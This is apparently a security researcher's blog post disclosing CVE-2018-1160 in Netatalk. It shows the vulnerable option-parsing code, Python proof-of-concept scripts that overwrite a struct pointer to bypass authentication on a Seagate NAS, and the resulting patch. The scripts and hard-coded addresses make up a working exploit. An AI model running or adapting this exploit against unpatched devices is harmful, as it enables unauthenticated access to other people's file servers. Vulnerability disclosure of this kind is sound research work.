Exploiting an 18 Year Old Bug

Jacob Baines
Dec 21, 2018 · 11 min read

Starting at the End

Recently, I found and disclosed CVE-2018–1160. This really old bug in Netatalk allows remote unauthenticated attackers to overwrite some struct data. I leveraged this bug to bypass authentication and gain full control of the AFP volumes. This blog is about finding and exploiting the bug. If that doesn’t sound interesting then you probably won’t like this proof of concept video either.

Netatalk?

Netatalk is an implementation of the Apple Filing Protocol (AFP). The project itself is quite old. The first import into Sourceforge dates back to 2000, but the project itself is still older than that. This is a comment in main.c:

/*
* Copyright © 1990,1993 Regents of The University of Michigan.
* All Rights Reserved. See COPYRIGHT.
*/

A Bug You Say?

Netatalk has a mistake that has gone unnoticed, as far as I can tell, since the original import into Sourceforge back in 2000.

/* parse options */
while (i < dsi->cmdlen) {
switch (dsi->commands[i++]) {
case DSIOPT_ATTNQUANT:
memcpy(&dsi->attn_quantum, dsi->commands + i + 1,
dsi->commands[i]);
dsi->attn_quantum = ntohl(dsi->attn_quantum);
case DSIOPT_SERVQUANT: /* just ignore these */
default:
i += dsi->commands[i] + 1; /*forward past length tag + length */
break;
}
}
#define DSI_DATASIZ       65536/* child and parent processes might interpret a couple of these
* differently. */
typedef struct DSI {
struct DSI *next; /* multiple listening addresses */
AFPObj *AFPobj;
int statuslen;
char status[1400];
char *signature;
struct dsi_block header;
struct sockaddr_storage server, client;
struct itimerval timer;
int tickle; /* tickle count */
int in_write;

int msg_request; /* pending message to the client */
int down_request; /* pending SIGUSR1 down in 5 mn */
uint32_t attn_quantum, datasize, server_quantum;
uint16_t serverID, clientID;
uint8_t *commands; /* DSI recieve buffer */
uint8_t data[DSI_DATASIZ]; /* DSI reply buffer */
size_t datalen, cmdlen;
...

Talk “Taint Analysis” to Me

People always want to know, “How did you find that bug?” They want to hear, “taint analysis.” They sigh when they hear, “intermediate language.” They beg to see the seed corpus. They’re dying to hear about your cutting edge research.

POC || GTFO

Trust, but verify. I get it.

import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x04" # length
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)try:
resp = sock.recv(1024)
print "[+] Fin."
except:
print "[-] No response!"
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += "\x0c" # length (/)o,,o(/)
dsi_opensession += "\x00\x00\x40\x00" # client quantum
dsi_opensession += '\x00\x00\x00\x00' # overwrites datasize
dsi_opensession += struct.pack("I", 0xdeadbeef) # overwrites server_quantum

Hello? Execution control, please.

Reflecting an overwritten value is neat and all, but it’s just not useful. We want execution control. We need a path forward. But our options are limited. Of the five variables we can overwrite only commands seems to have any promise.

The Life and Times of Commands Pointer

The life of the commands pointer begins shortly after a new connection is forked to its own process. A chunk of heap memory is allocated and assigned to commands when the dsi struct is initialized. Every incoming AFP message is written into the commands pointer before being processed by Netatalk’s AFP functions. The commands memory isn’t freed from existence until shortly after the connection is terminated and just before the process exits.

function = (u_char) dsi->commands[0];if (afp_switch[function]) {
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);
} else {
LOG(log_maxdebug, logtype_afpd, "bad function %X", function);
dsi->datalen = 0;
err = AFPERR_NOOP;
}

So What Do We Have Here?

Seems to me that we have a “write anything anywhere” vulnerability on our hands. This should be easy! Just follow these four easy steps:

  1. Write to that address using AFP packets.
  2. Hand waving.
  3. Execution control!

preauth_switch: I Choose You!

We want to overwrite the commands pointer with the preauth_switch address. Did I jump ahead there? Here is why:

  1. The client decides which preauth_switch function to invoke via the AFP packet.
  2. The client doesn’t need to be authenticated to invoke a preauth_switch function.
albinolobster@ubuntu:~$ readelf -s afpd.netgear | grep "auth_switch"
493: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch
176: 000166e8 596 FUNC LOCAL DEFAULT 11 set_auth_switch
798: 0008395c 1024 OBJECT LOCAL DEFAULT 22 preauth_switch
2572: 00083d5c 1024 OBJECT GLOBAL DEFAULT 22 postauth_switch
albinolobster@ubuntu:~$ readelf -s afpd.seagate | grep "auth_switch"
313: 000000000063ae40 2048 OBJECT GLOBAL DEFAULT 24 postauth_switch
albinolobster@ubuntu:~$

Look at Me, I’m the preauth_switch Now

What do we write into the preauth_switch? How about a function that requires authentication? We’ll prove that we can control the execution flow and bypass authentication. A good candidate is afp_getsrvrinfo. afp_getsrvinfo is just like DSI GetStatus except over authenticated AFP.

dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrite quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrite ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
albinolobster@ubuntu:~$ readelf -a afpd.seagate | grep getsrvrinfo
241: 00000000004295f0 55 FUNC GLOBAL DEFAULT 13 afp_getsrvrinfo
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
import socket
import struct
import sys
if len(sys.argv) != 3:
sys.exit(0)
ip = sys.argv[1]
port = int(sys.argv[2])
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "[+] Attempting connection to " + ip + ":" + sys.argv[2]
sock.connect((ip, port))
dsi_payload = "\x00\x00\x40\x00" # client quantum
dsi_payload += '\x00\x00\x00\x00' # overwrites datasize
dsi_payload += struct.pack("I", 0xdeadbeef) # overwrites quantum
dsi_payload += struct.pack("I", 0xfeedface) # overwrites the ids
dsi_payload += struct.pack("Q", 0x63b660) # overwrite commands ptr
dsi_opensession = "\x01" # attention quantum option
dsi_opensession += struct.pack("B", len(dsi_payload)) # length
dsi_opensession += dsi_payload
dsi_header = "\x00" # "request" flag
dsi_header += "\x04" # open session command
dsi_header += "\x00\x01" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(dsi_opensession))
dsi_header += "\x00\x00\x00\x00" # reserved
dsi_header += dsi_opensession
sock.sendall(dsi_header)
resp = sock.recv(1024)
print "[+] Open Session complete"
afp_command = "\x01" # invoke the second entry in the table
afp_command += "\x00" # protocol defined padding
afp_command += "\x00\x00\x00\x00\x00\x00" # pad out the first entry
afp_command += struct.pack("Q", 0x4295f0) # address to jump to
dsi_header = "\x00" # "request" flag
dsi_header += "\x02" # "AFP" command
dsi_header += "\x00\x02" # request id
dsi_header += "\x00\x00\x00\x00" # data offset
dsi_header += struct.pack(">I", len(afp_command))
dsi_header += '\x00\x00\x00\x00' # reserved
dsi_header += afp_command
print "[+] Sending get server info request"
sock.sendall(dsi_header)
resp = sock.recv(1024)
print resp
print "[+] Fin."
albinolobster@ubuntu:~$ python afp_srvrinfo.py 192.168.88.252 548
[+] Attempting connection to 192.168.88.252:548
[+] Open Session complete
[+] Sending get server info request
�,W��]
Netatalk3.1.8AFP2.2AFPX03AFP3.1AFP3.2AFP3.3AFP3.4No User AuthentDHX2 DHCAST128Cleartxt Passwrd�������@��@X4@@Ѐ���r�"�@A@A@A@I$@UT�]t>��� @���@�@��?������������������������������������������������������������?���������@��?�����4���b8�eQ�x����5
Seagate-DP2
[+] Fin.

You’re in the Butter Zone Now

The full exploit is more complicated than all that. We need to make room for parameter passing and implement AFP message parsing. But that’s all rather tedious. I assure you, it was no fun to code. I’m certain it would be less fun to blog. If you’re interested though, you can find the full exploit on our GitHub.

Patch Notes

The Netatalk developers released a larger patch to fix this issue, but the most important part is highlighted below. Just a simple length check is all that was needed.

case DSIOPT_ATTNQUANT:
- memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
+ if (option_len != sizeof(dsi->attn_quantum)) {
+ LOG(log_error, logtype_dsi, "option %"PRIu8" bad length: %zu",
+ cmd, option_len);
+ exit(EXITERR_CLNT);
+ }
+ memcpy(&dsi->attn_quantum, &dsi->commands[i], option_len);

Tenable TechBlog

Learn how Tenable finds new vulnerabilities and writes the…